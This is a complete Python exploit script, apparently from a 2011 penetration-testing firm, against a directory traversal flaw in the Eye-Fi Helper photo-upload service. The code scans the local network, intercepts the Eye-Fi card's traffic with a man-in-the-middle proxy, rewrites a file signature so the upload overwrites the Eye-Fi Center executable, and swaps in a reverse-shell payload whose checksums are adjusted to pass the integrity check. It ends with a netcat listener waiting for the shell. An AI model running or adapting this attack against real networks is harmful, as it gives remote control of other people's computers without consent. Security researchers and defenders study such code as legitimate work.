#!/usr/bin/env python2
"""eyepwn - exploit for Eye-Fi Helper directory traversal vulnerability.

Copyright 2011, Paul Johnston, Pentest Ltd

This has been tested on Backtrack, but should also work on most Linux distributions.

The exploit works as follows:
    1) Scan the local network to find the Eye-Fi helper to attack
    2) Wait for traffic from a MAC address matching an Eye-Fi card
    3) Identify an IP address that the card will find before the legitimate
       Eye-Fi helper, and adds an IP alias
    4) Start a proxy that forwards traffic to/from the legitimate helper
    5) The GetPhotoStatus request is rewritten to include a malicious signature;
       this will cause the upload to overwrite the Eye-Fi Center.
    6) payload.exe is a carefully crafted reverse shell that is 1024 bytes long,
       and the last two bytes in each 512 byte block can be modified without
       breaking it. (Thanks to Sam Thomas)
    7) When the upload request is received, the data is modified to include
       payload.exe. This is tweaked to contain the IP address of the attacking
       machine, and so it will still match the signature.
    8) A netcat listener is started, which will receive the reverse shell when the
       user opens the overwritten Eye-Fi Center.
"""

import SocketServer as ss, thread, socket, sys, re, os, optparse, time

# Avoid IPv6 warnings
import scapy.config
scapy.config.conf.ipv6_enabled = False
import scapy.all as sc

parser = optparse.OptionParser(usage="usage: %prog [options]")
parser.add_option("-e", dest="helper_ip", default=None,
    help='IP address of Eye-Fi helper (autodiscovered if not specified)')
parser.add_option("-d", dest="payload", default='/usr/share/eyepwn/payload.exe',
    help='Payload to use (default: %default)')
parser.add_option("-f", dest="new_sig", default='../../../../../../../../Program Files/Eye-Fi/Eye-Fi Center/Eye-Fi Center.exe',
    help='File path to overwrite (default: Eye-Fi centre)')
parser.add_option("-m", dest="eyefi_mac", default='00:18:56',
    help='Eye-Fi MAC address prefix (default: %default)')
parser.add_option("-p", dest="eyefi_port", type=int, default='59278',
    help='Eye-Fi Helper port (default: %default)')
parser.add_option("-i", dest="interface", default=None,
    help='Interface to use (default: first active)')
parser.add_option("-l", dest="listen", type=int, default=4444,
    help='Port to listen for connect back shell (0 - dont listen; default: %default)')
(options, args) = parser.parse_args()


def find_my_ips():
    """Get IP address(es) of this machine."""
    ips = []
    for iface in os.popen('/sbin/ifconfig').read().split('\n\n'):
        m = re.search('^(\w+).*inet (\S+)', iface, re.S)
        if m:
            if not options.interface:
                options.interface = m.group(1)
            if m.group(1) == options.interface:
                ips.append(m.group(2))
    return ips

def arp_scan(network):
    """ARP scan the local network and return a mapping of IP address to MAC
    address."""
    ans,unans = sc.srp(sc.Ether(dst="ff:ff:ff:ff:ff:ff")/sc.ARP(pdst=[network+'.'+str(i) for i in range(255)]), timeout=2, verbose=False)
    return dict((r.payload.psrc, r.src) for s,r in ans)

def port_scan(network, port):
    """Port scan the local network. To improve speed this first does an ARP
    scan and then creates Ethernet frames manually."""
    addr = arp_scan(network)
    pkts = [sc.Ether(dst=eth)/sc.IP(dst=ip)/sc.TCP(dport=port,flags='S') for ip,eth in addr.items()]
    ans, unans = sc.srp(pkts, timeout=2, verbose=False)
    return [r.payload.src for s,r in ans if r.payload.payload.flags == 18]

def find_helper(network):
    """Find the Eye-Fi helper."""
    print "Looking for Eye-Fi Helper..."
    helpers = port_scan(network, options.eyefi_port)
    if len(helpers) == 0:
        raise Exception('Could not find a running helper')
    if len(helpers) > 1:    
        raise Exception('Multiple helpers found: %s\nSpecify helper manually' % ', '.join(helpers))
    helper = helpers[0]
    print "Found Eye-Fi Helper:", helper
    return helper

def find_card():
    """Waits until an Eye-Fi MAC address is seen on the network, then returns
    the MAC address."""
    class FoundCard(Exception):
        pass
    def callback(pkt):
        if hasattr(pkt, 'hwsrc') and pkt.hwsrc.startswith(options.eyefi_mac):
            raise FoundCard(pkt.payload.psrc)
    try:
        sc.sniff(prn=callback, filter="arp", store=0)
    except FoundCard, e:
        print "Found Eye-Fi Card:", str(e)
        return str(e)

def scan_order(card_ip):
    """Determine the order the card will search IP addresses for the helper."""
    network, octet = card_ip.rsplit('.', 1)
    def iter(x):
        for i in range(1, 129):
            yield (x+i)%256
            yield (256+x-i)%256
    return ['%s.%d' % (network, i) for i in iter(int(octet)) if i not in (0, 255)]

def find_mitm_ip(network, card_ip, my_ips):
    """Find an IP address that has a good change of performing a MITM
    attack."""
    scan_ord = scan_order(card_ip)
    if options.helper_ip in scan_ord:
        scan_ord = scan_ord[:scan_ord.index(options.helper_ip)]
    for my in my_ips:
        if my in scan_ord:
            print "Attack host already has a good IP address for MITM"
            return None
    addr = arp_scan(network)
    for ip in scan_ord:        
        if ip not in addr:
            print "Adding IP alias:", ip
            return ip
    raise Exception('No suitable IP address to perform MITM')
    
def start_proxy():
    print "Starting MITM proxy..."
    class MyThreadingTCPServer(ss.ThreadingTCPServer):
        allow_reuse_address=True
    global socat
    socat = MyThreadingTCPServer(('0.0.0.0', options.eyefi_port), EyefiSocat)
    socat.serve_forever()

class EyefiSocat(ss.StreamRequestHandler):
    """This is essentially a simple TCP-forwarding proxy, but it also rewrites
    some traffic to exploit the Eye-Fi vulnerabilities."""
    def handle(self):
        print "Connection from %s:%d" % (self.client_address[0], self.client_address[1])
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((options.helper_ip, options.eyefi_port))
        thread.start_new_thread(pipe_down, (s, self.connection))
        pipe_up(self.connection, s)

server_string = None
def pipe_down(s_in, s_out):
    """Pass traffic from helper to card unmodified."""
    while True:
        try:
            data = s_in.recv(4096)
        except socket.error:
            s_out.close()
            return
        if data:
            global server_string
            m = re.search('Server: (.*)$', data, re.M)
            if m and not server_string:
                server_string = m.group(1).strip()
                print "Server:", server_string
            #print "data down (%d bytes)" % len(data)
            s_out.send(data)
        else:
            #print "disconnect"
            s_out.close()
            return

def pipe_up(s_in, s_out):
    """Pass traffic from card to helper, with appropriate rewrites."""
    while True:
        req = ''
        hdrs = None
        while True:
            try:
                data = s_in.recv(4096)
            except socket.error:
                s_out.close()
                return
            if not data:
                #print "disconnect"
                s_out.close()
                return
            #print "got chunk %d" % len(data)
            req += data
            if hdrs:
                body += data
            elif '\r\n\r\n' in req:
                clen = int(re.search('Content-Length: (\d+)', req).group(1))
                hdrs, body = req.split('\r\n\r\n', 1)
            if hdrs and len(body) >= clen:
                break
        #print "data up (%d bytes)" % len(data)
        if '"urn:GetPhotoStatus"' in hdrs:
            req = rewrite_getphotostatus(req)
            print "Initiating attack..."
        if '/api/soap/eyefilm/v1/upload' in hdrs:
            req = rewrite_upload(req)
            print "Sending payload..."
            def stop():
                global socat
                time.sleep(5)
                socat.shutdown()
            thread.start_new_thread(stop, ())
        s_out.send(req)
            

def rewrite_getphotostatus(data):
    """Rewrite the GetPhotoStatus message and replace the filesignature
    with a malicious one."""
    basestr = '<filesignature>%s</filesignature>'
    old_sig = re.search(basestr % '(.*)', data).group(1)
    data = re.sub(basestr % '.*', basestr % options.new_sig, data)
    clen = int(re.search('Content-Length: (\d+)', data).group(1))
    clen += len(options.new_sig) - len(old_sig)
    data = re.sub('Content-Length: (\d+)', 'Content-Length: %d' % clen, data)
    return data

def rewrite_upload(data):
    """Rewrite the upload message and replace the file with a malicious
    payload that is "massaged" to have the same integrity signature."""
    boundary = re.search('Content-Type: multipart/form-data; boundary=(.*)$', data, re.M).group(1).strip()        
    fdata = data.split(boundary)[3].split('\r\n\r\n')[1][:-4]
    if len(fdata) % 512 != 0:
        raise Exception('Bad file data length: %d' % len(fdata))    
    payload = massage(options.payload, fdata)
    data = data.replace(fdata, payload)    
    return data

def tcpsum(data):
    x = sum(ord(data[i]) + 256*ord(data[i+1]) for i in range(0, len(data), 2))
    x = (x >> 16) + (x & 0xFFFF)
    x = (x >> 16) + (x & 0xFFFF)
    return ~x & 0xFFFF

def massage(payload, target):
    """Modify the payload so it has the same integrity signature as the target.
    The payload is split into 512-byte blocks and the last two bytes in each
    block are modified. The payload needs to be carefully crafted so that it
    remains valid after these modifications."""
    payload = list(payload + '\0' * (len(target) - len(payload)))
    for i in range(0, len(target), 512):
        target_sum = tcpsum(target[i:i+512])
        for x in [1, 2]:
            payload_sum = tcpsum(payload[i:i+512])
            tweak = ord(payload[i+510]) + 256*ord(payload[i+511]) + payload_sum - target_sum
            payload[i+510] = chr(tweak & 0xFF)
            payload[i+511] = chr((tweak >> 8) & 0xFF)
    return ''.join(payload)


if __name__ == '__main__':
    my_ips = find_my_ips()
    network = my_ips[0].rsplit('.', 1)[0]
    if not options.helper_ip:
        options.helper_ip = find_helper(network)
    
    if options.payload == '/usr/share/eyepwn/payload.exe':
        pl = open(options.payload, 'rb').read()
        options.payload = pl[:0x23F] + socket.inet_aton(my_ips[0]) + pl[0x243:]
    else:
        options.payload = open(options.payload, 'rb').read()
    
    def find_alias():
        mitm_ip = find_mitm_ip(network, find_card(), my_ips)
        if mitm_ip:
            os.system('ifconfig %s add %s' % (options.interface, mitm_ip))
    
    thread.start_new_thread(find_alias, ())
    start_proxy()

    if options.listen:
        print "Listening for connect back shell on port:", options.listen    
        os.system('nc -l -p %d' % options.listen)
